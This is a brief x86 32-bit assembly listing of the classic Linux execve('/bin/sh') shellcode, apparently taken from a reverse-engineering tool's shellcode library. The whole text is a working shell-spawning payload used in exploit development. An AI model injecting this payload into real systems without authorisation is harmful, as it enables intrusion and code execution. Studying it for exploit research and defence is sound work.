; x86 (32-bit) execve /bin/sh shellcode
; Assembly equivalent of the bytes originally stored in
; libr/egg/p/sc/src/x86-linux-binsh.c

xor eax, eax
push eax
push 0x68732f2f     ; "//sh"
push 0x6e69622f     ; "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq
mov al, 0xb         ; execve syscall number
int 0x80